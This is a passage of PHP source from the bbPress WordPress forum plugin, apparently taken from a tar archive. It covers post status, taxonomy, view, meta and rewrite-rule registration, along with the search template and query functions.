				'source'              => 'bbpress',
			) )
		);
	}

	/**
	 * Register the post statuses used by bbPress
	 *
	 * We do some manipulation of the 'trash' status so trashed topics and
	 * replies can be viewed from within the theme.
	 *
	 * @since 2.0.0 bbPress (r2727)
	 */
	public static function register_post_statuses() {

		// Closed
		register_post_status(
			bbp_get_closed_status_id(),
			apply_filters( 'bbp_register_closed_post_status', array(
				'label'                     => _x( 'Closed', 'post', 'bbpress' ),
				'label_count'               => _nx_noop( 'Closed <span class="count">(%s)</span>', 'Closed <span class="count">(%s)</span>', 'post', 'bbpress' ),
				'public'                    => true,
				'show_in_admin_status_list' => true,
				'show_in_admin_all_list'    => true,
				'source'                    => 'bbpress'
			) )
		);

		// Spam
		register_post_status(
			bbp_get_spam_status_id(),
			apply_filters( 'bbp_register_spam_post_status', array(
				'label'                     => _x( 'Spam', 'post', 'bbpress' ),
				'label_count'               => _nx_noop( 'Spam <span class="count">(%s)</span>', 'Spam <span class="count">(%s)</span>', 'post', 'bbpress' ),
				'protected'                 => true,
				'exclude_from_search'       => true,
				'show_in_admin_status_list' => true,
				'show_in_admin_all_list'    => false,
				'source'                    => 'bbpress'
			) )
		);

		// Orphan
		register_post_status(
			bbp_get_orphan_status_id(),
			apply_filters( 'bbp_register_orphan_post_status', array(
				'label'                     => _x( 'Orphan', 'post', 'bbpress' ),
				'label_count'               => _nx_noop( 'Orphan <span class="count">(%s)</span>', 'Orphans <span class="count">(%s)</span>', 'post', 'bbpress' ),
				'protected'                 => true,
				'exclude_from_search'       => true,
				'show_in_admin_status_list' => true,
				'show_in_admin_all_list'    => false,
				'source'                    => 'bbpress'
			) )
		);

		// Hidden
		register_post_status(
			bbp_get_hidden_status_id(),
			apply_filters( 'bbp_register_hidden_post_status', array(
				'label'                     => _x( 'Hidden', 'post', 'bbpress' ),
				'label_count'               => _nx_noop( 'Hidden <span class="count">(%s)</span>', 'Hidden <span class="count">(%s)</span>', 'post', 'bbpress' ),
				'private'                   => true,
				'exclude_from_search'       => true,
				'show_in_admin_status_list' => true,
				'show_in_admin_all_list'    => true,
				'source'                    => 'bbpress'
			) )
		);

		/**
		 * Trash fix
		 *
		 * We need to remove the internal arg and change that to
		 * protected so that the users with 'view_trash' cap can view
		 * single trashed topics/replies in the front-end as wp_query
		 * doesn't allow any hack for the trashed topics to be viewed.
		 */
		global $wp_post_statuses;

		if ( ! empty( $wp_post_statuses['trash'] ) ) {

			// User can view trash so set internal to false
			if ( current_user_can( 'view_trash' ) ) {
				$wp_post_statuses['trash']->internal  = false;
				$wp_post_statuses['trash']->protected = true;

			// User cannot view trash so set internal to true
			} else {
				$wp_post_statuses['trash']->internal = true;
			}
		}
	}

	/**
	 * Register the topic tag and forum moderator taxonomies
	 *
	 * @since 2.0.0 bbPress (r2464) Added bbp_get_topic_tag_tax_id() taxonomy
	 */
	public static function register_taxonomies() {

		// Register the topic-tag taxonomy.
		register_taxonomy(
			bbp_get_topic_tag_tax_id(),
			bbp_get_topic_post_type(),
			apply_filters( 'bbp_register_topic_taxonomy', array(
				'labels'                => bbp_get_topic_tag_tax_labels(),
				'rewrite'               => bbp_get_topic_tag_tax_rewrite(),
				'capabilities'          => bbp_get_topic_tag_caps(),
				'update_count_callback' => 'bbp_update_topic_tag_count',
				'query_var'             => true,
				'show_tagcloud'         => true,
				'hierarchical'          => false,
				'show_in_nav_menus'     => false,
				'public'                => true,
				'show_ui'               => bbp_allow_topic_tags() && current_user_can( 'bbp_topic_tags_admin' ),
				'source'                => 'bbpress'
			)
		) );
	}

	/**
	 * Register the bbPress views
	 *
	 * @since 2.0.0 bbPress (r2789)
	 */
	public static function register_views() {

		// Popular topics
		bbp_register_view(
			'popular',
			esc_html__( 'Most popular topics', 'bbpress' ),
			apply_filters( 'bbp_register_view_popular', array(
				'meta_key'      => '_bbp_reply_count',
				'meta_type'     => 'NUMERIC',
				'max_num_pages' => 1,
				'orderby'       => 'meta_value_num',
				'show_stickies' => false
			)
		) );

		// Topics with no replies
		bbp_register_view(
			'no-replies',
			esc_html__( 'Topics with no replies', 'bbpress' ),
			apply_filters( 'bbp_register_view_no_replies', array(
				'meta_key'      => '_bbp_reply_count',
				'meta_type'     => 'NUMERIC',
				'meta_value'    => 1,
				'meta_compare'  => '<',
				'orderby'       => '',
				'show_stickies' => false
			)
		) );
	}

	/**
	 * Register the bbPress shortcodes
	 *
	 * @since 2.0.0 bbPress (r3031)
	 */
	public function register_shortcodes() {
		$this->shortcodes = new BBP_Shortcodes();
	}

	/**
	 * Register bbPress meta-data
	 *
	 * Counts added in 2.6.0 to avoid negative values
	 *
	 * @since 2.6.0 bbPress (r6300)
	 */
	public function register_meta() {

		// Define "count" meta-type array
		$count = array(

			// Counts are always integers
			'type'              => 'integer',

			// Generic count description
			'description'       => esc_html__( 'bbPress Item Count', 'bbpress' ),

			// Counts are single values
			'single'            => true,

			// Counts should be made available in REST
			'show_in_rest'      => true,

			// Never allow counts to go negative
			'sanitize_callback' => 'bbp_number_not_negative',

			// All users may update count meta data
			'auth_callback'     => '__return_true'
		);

		/** Post **************************************************************/

		// Counts
		register_meta( 'post', '_bbp_topic_count',           $count );
		register_meta( 'post', '_bbp_reply_count',           $count );
		register_meta( 'post', '_bbp_total_topic_count',     $count );
		register_meta( 'post', '_bbp_total_reply_count',     $count );
		register_meta( 'post', '_bbp_voice_count',           $count );
		register_meta( 'post', '_bbp_anonymous_reply_count', $count );
		register_meta( 'post', '_bbp_topic_count_hidden',    $count );
		register_meta( 'post', '_bbp_reply_count_hidden',    $count );
		register_meta( 'post', '_bbp_forum_subforum_count',  $count );

		/* User ***************************************************************/

		// Counts
		register_meta( 'user', '_bbp_topic_count', $count );
		register_meta( 'user', '_bbp_reply_count', $count );

		// Activity
		register_meta( 'user', '_bbp_last_posted', array(
			'type'              => 'integer',
			'description'       => esc_html__( 'bbPress User Activity', 'bbpress' ),
			'single'            => true,
			'show_in_rest'      => true,
			'sanitize_callback' => 'bbp_number_not_negative',
			'auth_callback'     => '__return_true'
		) );
	}

	/**
	 * Setup the currently logged-in user
	 *
	 * @since 2.0.0 bbPress (r2697)
	 */
	public function setup_current_user() {
		$this->current_user = wp_get_current_user();
	}

	/**
	 * Setup the user engagements strategy
	 *
	 * @since 2.6.0 bbPress (r6875)
	 */
	public function setup_engagements() {

		// Setup the class name
		$strategy   = ucwords( bbp_engagements_strategy() );
		$class_name = "BBP_User_Engagements_{$strategy}";

		// Setup the engagements interface
		$this->engagements = new $class_name();
	}

	/**
	 * Initialize forum-specific roles
	 *
	 * @since 2.6.0
	 */
	public function roles_init() {

		// Get role IDs
		$keymaster   = bbp_get_keymaster_role();
		$moderator   = bbp_get_moderator_role();
		$participant = bbp_get_participant_role();
		$spectator   = bbp_get_spectator_role();
		$blocked     = bbp_get_blocked_role();

		// Build the roles into one useful array
		$this->roles[ $keymaster   ] = new WP_Role( 'Keymaster',   bbp_get_caps_for_role( $keymaster   ) );
		$this->roles[ $moderator   ] = new WP_Role( 'Moderator',   bbp_get_caps_for_role( $moderator   ) );
		$this->roles[ $participant ] = new WP_Role( 'Participant', bbp_get_caps_for_role( $participant ) );
		$this->roles[ $spectator   ] = new WP_Role( 'Spectator',   bbp_get_caps_for_role( $spectator   ) );
		$this->roles[ $blocked     ] = new WP_Role( 'Blocked',     bbp_get_caps_for_role( $blocked     ) );
	}

	/** Custom Rewrite Rules **************************************************/

	/**
	 * Add the bbPress-specific rewrite tags
	 *
	 * @since 2.0.0 bbPress (r2753)
	 */
	public static function add_rewrite_tags() {
		add_rewrite_tag( '%' . bbp_get_view_rewrite_id()               . '%', '([^/]+)'   ); // View Page tag
		add_rewrite_tag( '%' . bbp_get_edit_rewrite_id()               . '%', '([1]{1,})' ); // Edit Page tag
		add_rewrite_tag( '%' . bbp_get_search_rewrite_id()             . '%', '([^/]+)'   ); // Search Results tag
		add_rewrite_tag( '%' . bbp_get_user_rewrite_id()               . '%', '([^/]+)'   ); // User Profile tag
		add_rewrite_tag( '%' . bbp_get_user_favorites_rewrite_id()     . '%', '([1]{1,})' ); // User Favorites tag
		add_rewrite_tag( '%' . bbp_get_user_subscriptions_rewrite_id() . '%', '([1]{1,})' ); // User Subscriptions tag
		add_rewrite_tag( '%' . bbp_get_user_engagements_rewrite_id()   . '%', '([1]{1,})' ); // User Engagements tag
		add_rewrite_tag( '%' . bbp_get_user_topics_rewrite_id()        . '%', '([1]{1,})' ); // User Topics Tag
		add_rewrite_tag( '%' . bbp_get_user_replies_rewrite_id()       . '%', '([1]{1,})' ); // User Replies Tag
	}

	/**
	 * Add bbPress-specific rewrite rules for uri's that are not
	 * setup for us by way of custom post types or taxonomies. This includes:
	 * - Front-end editing
	 * - Topic views
	 * - User profiles
	 *
	 * @since 2.0.0 bbPress (r2688)
	 *
	 * @todo Extract into an API
	 */
	public static function add_rewrite_rules() {

		/** Setup *************************************************************/

		// Add rules to top or bottom?
		$priority           = 'top';

		// Single Slugs
		$forum_slug         = bbp_get_forum_slug();
		$topic_slug         = bbp_get_topic_slug();
		$reply_slug         = bbp_get_reply_slug();
		$ttag_slug          = bbp_get_topic_tag_tax_slug();

		// Archive Slugs
		$user_slug          = bbp_get_user_slug();
		$view_slug          = bbp_get_view_slug();
		$search_slug        = bbp_get_search_slug();
		$topic_archive_slug = bbp_get_topic_archive_slug();
		$reply_archive_slug = bbp_get_reply_archive_slug();

		// Tertiary Slugs
		$feed_slug          = 'feed';
		$edit_slug          = bbp_get_edit_slug();
		$paged_slug         = bbp_get_paged_slug();
		$user_favs_slug     = bbp_get_user_favorites_slug();
		$user_subs_slug     = bbp_get_user_subscriptions_slug();
		$user_engs_slug     = bbp_get_user_engagements_slug();

		// Unique rewrite ID's
		$feed_id            = 'feed';
		$edit_id            = bbp_get_edit_rewrite_id();
		$view_id            = bbp_get_view_rewrite_id();
		$paged_id           = bbp_get_paged_rewrite_id();
		$search_id          = bbp_get_search_rewrite_id();
		$user_id            = bbp_get_user_rewrite_id();
		$user_favs_id       = bbp_get_user_favorites_rewrite_id();
		$user_subs_id       = bbp_get_user_subscriptions_rewrite_id();
		$user_tops_id       = bbp_get_user_topics_rewrite_id();
		$user_reps_id       = bbp_get_user_replies_rewrite_id();
		$user_engs_id       = bbp_get_user_engagements_rewrite_id();

		// Rewrite rule matches used repeatedly below
		$root_rule    = '/([^/]+)/?$';
		$feed_rule    = '/([^/]+)/' . $feed_slug  . '/?$';
		$edit_rule    = '/([^/]+)/' . $edit_slug  . '/?$';
		$paged_rule   = '/([^/]+)/' . $paged_slug . '/?([0-9]{1,})/?$';

		// Search rules (without slug check)
		$search_root_rule  = '/?$';
		$search_paged_rule = '/' . $paged_slug . '/?([0-9]{1,})/?$';

		/** Add ***************************************************************/

		// User profile rules
		$tops_rule       = '/([^/]+)/' . $topic_archive_slug . '/?$';
		$reps_rule       = '/([^/]+)/' . $reply_archive_slug . '/?$';
		$favs_rule       = '/([^/]+)/' . $user_favs_slug     . '/?$';
		$subs_rule       = '/([^/]+)/' . $user_subs_slug     . '/?$';
		$engs_rule       = '/([^/]+)/' . $user_engs_slug     . '/?$';
		$tops_paged_rule = '/([^/]+)/' . $topic_archive_slug . '/' . $paged_slug . '/?([0-9]{1,})/?$';
		$reps_paged_rule = '/([^/]+)/' . $reply_archive_slug . '/' . $paged_slug . '/?([0-9]{1,})/?$';
		$favs_paged_rule = '/([^/]+)/' . $user_favs_slug     . '/' . $paged_slug . '/?([0-9]{1,})/?$';
		$subs_paged_rule = '/([^/]+)/' . $user_subs_slug     . '/' . $paged_slug . '/?([0-9]{1,})/?$';
		$engs_paged_rule = '/([^/]+)/' . $user_engs_slug     . '/' . $paged_slug . '/?([0-9]{1,})/?$';

		// Edit Forum|Topic|Reply|Topic-tag
		add_rewrite_rule( $forum_slug . $edit_rule, 'index.php?' . bbp_get_forum_post_type()  . '=$matches[1]&' . $edit_id . '=1', $priority );
		add_rewrite_rule( $topic_slug . $edit_rule, 'index.php?' . bbp_get_topic_post_type()  . '=$matches[1]&' . $edit_id . '=1', $priority );
		add_rewrite_rule( $reply_slug . $edit_rule, 'index.php?' . bbp_get_reply_post_type()  . '=$matches[1]&' . $edit_id . '=1', $priority );
		add_rewrite_rule( $ttag_slug  . $edit_rule, 'index.php?' . bbp_get_topic_tag_tax_id() . '=$matches[1]&' . $edit_id . '=1', $priority );

		// User Pagination|Edit|View
		add_rewrite_rule( $user_slug . $tops_paged_rule, 'index.php?' . $user_id  . '=$matches[1]&' . $user_tops_id . '=1&' . $paged_id . '=$matches[2]', $priority );
		add_rewrite_rule( $user_slug . $reps_paged_rule, 'index.php?' . $user_id  . '=$matches[1]&' . $user_reps_id . '=1&' . $paged_id . '=$matches[2]', $priority );
		add_rewrite_rule( $user_slug . $favs_paged_rule, 'index.php?' . $user_id  . '=$matches[1]&' . $user_favs_id . '=1&' . $paged_id . '=$matches[2]', $priority );
		add_rewrite_rule( $user_slug . $subs_paged_rule, 'index.php?' . $user_id  . '=$matches[1]&' . $user_subs_id . '=1&' . $paged_id . '=$matches[2]', $priority );
		add_rewrite_rule( $user_slug . $engs_paged_rule, 'index.php?' . $user_id  . '=$matches[1]&' . $user_engs_id . '=1&' . $paged_id . '=$matches[2]', $priority );
		add_rewrite_rule( $user_slug . $tops_rule,       'index.php?' . $user_id  . '=$matches[1]&' . $user_tops_id . '=1',                               $priority );
		add_rewrite_rule( $user_slug . $reps_rule,       'index.php?' . $user_id  . '=$matches[1]&' . $user_reps_id . '=1',                               $priority );
		add_rewrite_rule( $user_slug . $favs_rule,       'index.php?' . $user_id  . '=$matches[1]&' . $user_favs_id . '=1',                               $priority );
		add_rewrite_rule( $user_slug . $subs_rule,       'index.php?' . $user_id  . '=$matches[1]&' . $user_subs_id . '=1',                               $priority );
		add_rewrite_rule( $user_slug . $engs_rule,       'index.php?' . $user_id  . '=$matches[1]&' . $user_engs_id . '=1',                               $priority );
		add_rewrite_rule( $user_slug . $edit_rule,       'index.php?' . $user_id  . '=$matches[1]&' . $edit_id      . '=1',                               $priority );
		add_rewrite_rule( $user_slug . $root_rule,       'index.php?' . $user_id  . '=$matches[1]',                                                       $priority );

		// Topic-View Pagination|Feed|View
		add_rewrite_rule( $view_slug . $paged_rule, 'index.php?' . $view_id . '=$matches[1]&' . $paged_id . '=$matches[2]', $priority );
		add_rewrite_rule( $view_slug . $feed_rule,  'index.php?' . $view_id . '=$matches[1]&' . $feed_id  . '=$matches[2]', $priority );
		add_rewrite_rule( $view_slug . $root_rule,  'index.php?' . $view_id . '=$matches[1]',                               $priority );

		// Search All
		add_rewrite_rule( $search_slug . $search_paged_rule, 'index.php?' . $paged_id .'=$matches[1]', $priority );
		add_rewrite_rule( $search_slug . $search_root_rule,  'index.php?' . $search_id,                $priority );
	}

	/**
	 * Add permalink structures for new archive-style destinations.
	 *
	 * - Users
	 * - Topic Views
	 * - Search
	 *
	 * @since 2.4.0 bbPress (r4930)
	 */
	public static function add_permastructs() {

		// Get unique ID's
		$user_id     = bbp_get_user_rewrite_id();
		$view_id     = bbp_get_view_rewrite_id();
		$search_id   = bbp_get_search_rewrite_id();

		// Get root slugs
		$user_slug   = bbp_get_user_slug();
		$view_slug   = bbp_get_view_slug();
		$search_slug = bbp_get_search_slug();

		// User Permastruct
		add_permastruct( $user_id, $user_slug . '/%' . $user_id . '%', array(
			'with_front'  => false,
			'ep_mask'     => EP_NONE,
			'paged'       => false,
			'feed'        => false,
			'forcomments' => false,
			'walk_dirs'   => true,
			'endpoints'   => false,
		) );

		// Topic View Permastruct
		add_permastruct( $view_id, $view_slug . '/%' . $view_id . '%', array(
			'with_front'  => false,
			'ep_mask'     => EP_NONE,
			'paged'       => false,
			'feed'        => false,
			'forcomments' => false,
			'walk_dirs'   => true,
			'endpoints'   => false,
		) );

		// Search Permastruct
		add_permastruct( $search_id, $search_slug . '/%' . $search_id . '%', array(
			'with_front'  => false,
			'ep_mask'     => EP_NONE,
			'paged'       => true,
			'feed'        => false,
			'forcomments' => false,
			'walk_dirs'   => true,
			'endpoints'   => false,
		) );
	}
}

/**
 * The main function responsible for returning the one true bbPress Instance
 * to functions everywhere.
 *
 * Use this function like you would a global variable, except without needing
 * to declare the global.
 *
 * Example: <?php $bbp = bbpress(); ?>
 *
 * @since 2.0.0 bbPress (r2464)
 *
 * @return bbPress The one true bbPress Instance
 */
function bbpress() {
	return bbPress::instance();
}

/**
 * Hook bbPress early onto the 'plugins_loaded' action.
 *
 * This gives all other plugins the chance to load before bbPress, to get their
 * actions, filters, and overrides setup without bbPress being in the way.
 */
if ( defined( 'BBPRESS_LATE_LOAD' ) ) {
	add_action( 'plugins_loaded', 'bbpress', (int) BBPRESS_LATE_LOAD );

// "And now here's something we hope you'll really like!"
} else {
	bbpress();
}

endif; // class_exists check
includes/search/template.php000066600000026475151771460310012172 0ustar00<?php

/**
 * bbPress Search Template Tags
 *
 * @package bbPress
 * @subpackage TemplateTags
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

/** Search Loop Functions *****************************************************/

/**
 * The main search loop. WordPress does the heavy lifting.
 *
 * @since 2.3.0 bbPress (r4579)
 *
 * @param array $args All the arguments supported by {@link WP_Query}
 * @return object Multidimensional array of search information
 */
function bbp_has_search_results( $args = array() ) {

	/** Defaults **************************************************************/

	$default_search_terms = bbp_get_search_terms();
	$default_post_types   = bbp_get_post_types();

	// Default query args
	$default = array(
		'post_type'           => $default_post_types,        // Forums, topics, and replies
		'posts_per_page'      => bbp_get_replies_per_page(), // This many
		'paged'               => bbp_get_paged(),            // On this page
		'orderby'             => 'date',                     // Sorted by date
		'order'               => 'DESC',                     // Most recent first
		'ignore_sticky_posts' => true,                       // Stickies not supported,

		// Conditionally prime the cache for last active posts
		'update_post_family_cache' => true
	);

	// Only set 's' if search terms exist
	// https://bbpress.trac.wordpress.org/ticket/2607
	if ( false !== $default_search_terms ) {
		$default['s'] = $default_search_terms;
	}

	// What are the default allowed statuses (based on user caps)
	if ( bbp_get_view_all() ) {

		// Default view=all statuses
		$post_statuses = array_keys( bbp_get_topic_statuses() );

		// Add support for private status
		if ( current_user_can( 'read_private_topics' ) ) {
			$post_statuses[] = bbp_get_private_status_id();
		}

		// Join post statuses together
		$default['post_status'] = $post_statuses;

	// Lean on the 'perm' query var value of 'readable' to provide statuses
	} else {
		$default['perm'] = 'readable';
	}

	/** Setup *****************************************************************/

	// Parse arguments against default values
	$r = bbp_parse_args( $args, $default, 'has_search_results' );

	// Get bbPress
	$bbp = bbpress();

	// Only call the search query if 's' is not empty
	if ( ! empty( $r['s'] ) ) {
		$bbp->search_query = new WP_Query( $r );
	}

	// Maybe prime last active posts
	if ( ! empty( $r['update_post_family_cache'] ) ) {
		bbp_update_post_family_caches( $bbp->search_query->posts );
	}

	// Add pagination values to query object
	$bbp->search_query->posts_per_page = (int) $r['posts_per_page'];
	$bbp->search_query->paged          = (int) $r['paged'];

	// Never home, regardless of what parse_query says
	$bbp->search_query->is_home        = false;

	// Only add pagination is query returned results
	if ( ! empty( $bbp->search_query->found_posts ) && ! empty( $bbp->search_query->posts_per_page ) ) {

		// Total for pagination boundaries
		$total_pages = ( $bbp->search_query->posts_per_page === $bbp->search_query->found_posts )
			? 1
			: ceil( $bbp->search_query->found_posts / $bbp->search_query->posts_per_page );

		// Pagination settings with filter
		$bbp_search_pagination = apply_filters( 'bbp_search_results_pagination', array(
			'base'    => bbp_get_search_pagination_base(),
			'total'   => $total_pages,
			'current' => $bbp->search_query->paged
		) );

		// Add pagination to query object
		$bbp->search_query->pagination_links = bbp_paginate_links( $bbp_search_pagination );
	}

	// Filter & return
	return apply_filters( 'bbp_has_search_results', $bbp->search_query->have_posts(), $bbp->search_query );
}

/**
 * Whether there are more search results available in the loop
 *
 * @since 2.3.0 bbPress (r4579)
 *
 * @return object Search information
 */
function bbp_search_results() {

	// Put into variable to check against next
	$have_posts = bbpress()->search_query->have_posts();

	// Reset the post data when finished
	if ( empty( $have_posts ) ) {
		wp_reset_postdata();
	}

	return $have_posts;
}

/**
 * Loads up the current search result in the loop
 *
 * @since 2.3.0 bbPress (r4579)
 *
 * @return object Search information
 */
function bbp_the_search_result() {
	$search_result = bbpress()->search_query->the_post();

	// Reset each current (forum|topic|reply) id
	bbpress()->current_forum_id = bbp_get_forum_id();
	bbpress()->current_topic_id = bbp_get_topic_id();
	bbpress()->current_reply_id = bbp_get_reply_id();

	return $search_result;
}

/**
 * Output the search page title
 *
 * @since 2.3.0 bbPress (r4579)
 */
function bbp_search_title() {
	echo bbp_get_search_title();
}

	/**
	 * Get the search page title
	 *
	 * @since 2.3.0 bbPress (r4579)
	 */
	function bbp_get_search_title() {

		// Get search terms
		$search_terms = bbp_get_search_terms();

		// No search terms specified
		if ( empty( $search_terms ) ) {
			$title = esc_html__( 'Search', 'bbpress' );

		// Include search terms in title
		} else {
			$title = sprintf( esc_html__( "Search Results for '%s'", 'bbpress' ), esc_attr( $search_terms ) );
		}

		// Filter & return
		return apply_filters( 'bbp_get_search_title', $title, $search_terms );
	}

/**
 * Output the search url
 *
 * @since 2.3.0 bbPress (r4579)
 */
function bbp_search_url() {
	echo esc_url( bbp_get_search_url() );
}
	/**
	 * Return the search url
	 *
	 * @since 2.3.0 bbPress (r4579)
	 *
	 * @return string Search url
	 */
	function bbp_get_search_url() {

		// Pretty permalinks
		if ( bbp_use_pretty_urls() ) {

			// Run through home_url()
			$url = bbp_get_root_url() . bbp_get_search_slug();
			$url = user_trailingslashit( $url );
			$url = home_url( $url );

		// Unpretty permalinks
		} else {
			$url = add_query_arg( array(
				bbp_get_search_rewrite_id() => ''
			), home_url( '/' ) );
		}

		// Filter & return
		return apply_filters( 'bbp_get_search_url', $url );
	}

/**
 * Output the search results url
 *
 * @since 2.4.0 bbPress (r4928)
 */
function bbp_search_results_url() {
	echo esc_url( bbp_get_search_results_url() );
}
	/**
	 * Return the search url
	 *
	 * @since 2.4.0 bbPress (r4928)
	 *
	 * @return string Search url
	 */
	function bbp_get_search_results_url() {

		// Get the search terms
		$search_terms = bbp_get_search_terms();

		// Pretty permalinks
		if ( bbp_use_pretty_urls() ) {

			// Root search URL
			$url = bbp_get_root_url() . bbp_get_search_slug();

			// Append search terms
			if ( ! empty( $search_terms ) ) {
				$url = trailingslashit( $url ) . urlencode( $search_terms );
			}

			// Run through home_url()
			$url = user_trailingslashit( $url );
			$url = home_url( $url );

		// Unpretty permalinks
		} else {
			$url = add_query_arg( array(
				bbp_get_search_rewrite_id() => urlencode( $search_terms )
			), home_url( '/' ) );
		}

		// Filter & return
		return apply_filters( 'bbp_get_search_results_url', $url );
	}

/**
 * Output the search terms
 *
 * @since 2.3.0 bbPress (r4579)
 *
 * @param string $search_terms Optional. Search terms
 */
function bbp_search_terms( $search_terms = '' ) {
	echo esc_attr( bbp_get_search_terms( $search_terms ) );
}

	/**
	 * Get the search terms
	 *
	 * @since 2.3.0 bbPress (r4579)
	 *
	 * If search terms are supplied, those are used. Otherwise check the
	 * search rewrite id query var.
	 *
	 * @param string $passed_terms Optional. Search terms
	 * @return bool|string Search terms on success, false on failure
	 */
	function bbp_get_search_terms( $passed_terms = '' ) {

		// Sanitize terms if they were passed in
		if ( ! empty( $passed_terms ) ) {
			$search_terms = sanitize_title( $passed_terms );

		// Use query variable if not
		} else {

			// Global
			$search_terms = get_query_var( bbp_get_search_rewrite_id(), null );

			// Searching globally
			if ( ! is_null( $search_terms )  ) {
				$search_terms = wp_unslash( $search_terms );

			// Other searches
			} else {

				// Get known search type IDs
				$types = bbp_get_search_type_ids();

				// Filterable, so make sure types exist
				if ( ! empty( $types ) ) {

					// Loop through types
					foreach ( $types as $type ) {

						// Look for search terms
						$terms = bbp_sanitize_search_request( $type );

						// Skip if no terms
						if ( empty( $terms ) ) {
							continue;
						}

						// Set terms if not empty
						$search_terms = $terms;
					}
				}
			}
		}

		// Trim whitespace & decode if non-empty string, or set to false
		$search_terms = ! empty( $search_terms ) && is_string( $search_terms )
			? urldecode( trim( $search_terms ) )
			: false;

		// Filter & return
		return apply_filters( 'bbp_get_search_terms', $search_terms, $passed_terms );
	}

/** Pagination ****************************************************************/

/**
 * Return the base URL used inside of pagination links
 *
 * @since 2.6.0 bbPress (r6679)
 *
 * @return string
 */
function bbp_get_search_pagination_base() {

	// If pretty permalinks are enabled, make our pagination pretty
	if ( bbp_use_pretty_urls() ) {

		// Shortcode territory
		if ( is_page() || is_single() ) {
			$base = get_permalink();

		// Default search location
		} else {
			$base = bbp_get_search_results_url();
		}

		// Add pagination base
		$base = trailingslashit( $base ) . user_trailingslashit( bbp_get_paged_slug() . '/%#%/' );

	// Unpretty permalinks
	} else {
		$base = add_query_arg( 'paged', '%#%' );
	}

	// Filter & return
	return apply_filters( 'bbp_get_search_pagination_base', $base );
}

/**
 * Output the search result pagination count
 *
 * @since 2.3.0 bbPress (r4579)
 */
function bbp_search_pagination_count() {
	echo bbp_get_search_pagination_count();
}

	/**
	 * Return the search results pagination count
	 *
	 * @since 2.3.0 bbPress (r4579)
	 *
	 * @return string Search pagination count
	 */
	function bbp_get_search_pagination_count() {
		$bbp = bbpress();

		// Define local variable(s)
		$retstr = '';

		// Set pagination values
		$total_int = intval( $bbp->search_query->found_posts    );
		$ppp_int   = intval( $bbp->search_query->posts_per_page );
		$start_int = intval( ( $bbp->search_query->paged - 1 ) * $ppp_int ) + 1;
		$to_int    = intval( ( $start_int + ( $ppp_int - 1 ) > $total_int )
				? $total_int
				: $start_int + ( $ppp_int - 1 ) );

		// Format numbers for display
		$total_num = bbp_number_format( $total_int );
		$from_num  = bbp_number_format( $start_int );
		$to_num    = bbp_number_format( $to_int    );

		// Single page of results
		if ( empty( $to_num ) ) {
			$retstr = sprintf( _n( 'Viewing %1$s result', 'Viewing %1$s results', $total_int, 'bbpress' ), $total_num );

		// Several pages of results
		} else {
			$retstr = sprintf( _n( 'Viewing %2$s results (of %4$s total)', 'Viewing %1$s results - %2$s through %3$s (of %4$s total)', $bbp->search_query->post_count, 'bbpress' ), $bbp->search_query->post_count, $from_num, $to_num, $total_num );
		}

		// Filter & return
		return apply_filters( 'bbp_get_search_pagination_count', esc_html( $retstr ) );
	}

/**
 * Output search pagination links
 *
 * @since 2.3.0 bbPress (r4579)
 */
function bbp_search_pagination_links() {
	echo bbp_get_search_pagination_links();
}

	/**
	 * Return search pagination links
	 *
	 * @since 2.3.0 bbPress (r4579)
	 *
	 * @return string Search pagination links
	 */
	function bbp_get_search_pagination_links() {
		$bbp = bbpress();

		if ( ! isset( $bbp->search_query->pagination_links ) || empty( $bbp->search_query->pagination_links ) ) {
			return false;
		}

		// Filter & return
		return apply_filters( 'bbp_get_search_pagination_links', $bbp->search_query->pagination_links );
	}
includes/search/index.php000066600000000072151771460310011447 0ustar00<?php

/**
 * Do not modify the files in this folder.
 */
includes/search/functions.php000066600000005513151771460310012355 0ustar00<?php

/**
 * bbPress Search Functions
 *
 * @package bbPress
 * @subpackage Functions
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

/** Query *********************************************************************/

/**
 * Run the search query
 *
 * @since 2.3.0 bbPress (r4579)
 *
 * @param mixed $new_args New arguments
 * @return bool False if no results, otherwise if search results are there
 */
function bbp_search_query( $new_args = array() ) {

	// Existing arguments
	$query_args = bbp_get_search_query_args();

	// Merge arguments
	if ( ! empty( $new_args ) ) {
		$new_args   = bbp_parse_args( $new_args, array(), 'search_query' );
		$query_args = array_merge( $query_args, $new_args );
	}

	return bbp_has_search_results( $query_args );
}

/**
 * Return the search query args
 *
 * @since 2.3.0 bbPress (r4579)
 *
 * @return array Query arguments
 */
function bbp_get_search_query_args() {

	// Get search terms
	$search_terms = bbp_get_search_terms();
	$retval       = ! empty( $search_terms )
		? array( 's' => $search_terms )
		: array();

	// Filter & return
	return apply_filters( 'bbp_get_search_query_args', $retval );
}

/**
 * Redirect to search results page if needed
 *
 * @since 2.4.0 bbPress (r4928)
 *
 * @return If a redirect is not needed
 */
function bbp_search_results_redirect() {

	// Bail if not a search request action
	if ( empty( $_GET['action'] ) || ( 'bbp-search-request' !== $_GET['action'] ) ) {
		return;
	}

	// Bail if not using pretty permalinks
	if ( ! bbp_use_pretty_urls() ) {
		return;
	}

	// Get the redirect URL
	$redirect_to = bbp_get_search_results_url();
	if ( empty( $redirect_to ) ) {
		return;
	}

	// Redirect and bail
	bbp_redirect( $redirect_to );
}

/**
 * Return an array of search types
 *
 * @since 2.6.0 bbPress (r6903)
 *
 * @return array
 */
function bbp_get_search_type_ids() {
	return apply_filters( 'bbp_get_search_types', array( 's', 'fs', 'ts', 'rs' ) );
}

/**
 * Sanitize a query argument used to pass some search terms.
 *
 * Accepts a single parameter to be used for forums, topics, or replies.
 *
 * @since 2.6.0 bbPress (r6903)
 *
 * @param string $query_arg s|fs|ts|rs
 *
 * @return mixed
 */
function bbp_sanitize_search_request( $query_arg = 's' ) {

	// Define allowed keys
	$allowed = bbp_get_search_type_ids();

	// Bail if not an allowed query string key
	if ( ! in_array( $query_arg, $allowed, true ) ) {
		return false;
	}

	// Get search terms if requested
	$terms = ! empty( $_REQUEST[ $query_arg ] )
		? $_REQUEST[ $query_arg ]
		: false;

	// Bail if query argument does not exist
	if ( empty( $terms ) ) {
		return false;
	}

	// Maybe implode if an array
	if ( is_array( $terms ) ) {
		$terms = implode( ' ', $terms );
	}

	// Sanitize
	$retval = sanitize_title( trim( $terms ) );

	// Filter & return
	return apply_filters( 'bbp_sanitize_search_request', $retval, $query_arg );
}
includes/index.php000066600000000072151771460310010202 0ustar00<?php

/**
 * Do not modify the files in this folder.
 */
includes/topics/capabilities.php000066600000022466151771460310013040 0ustar00<?php

/**
 * bbPress Topic Capabilites
 *
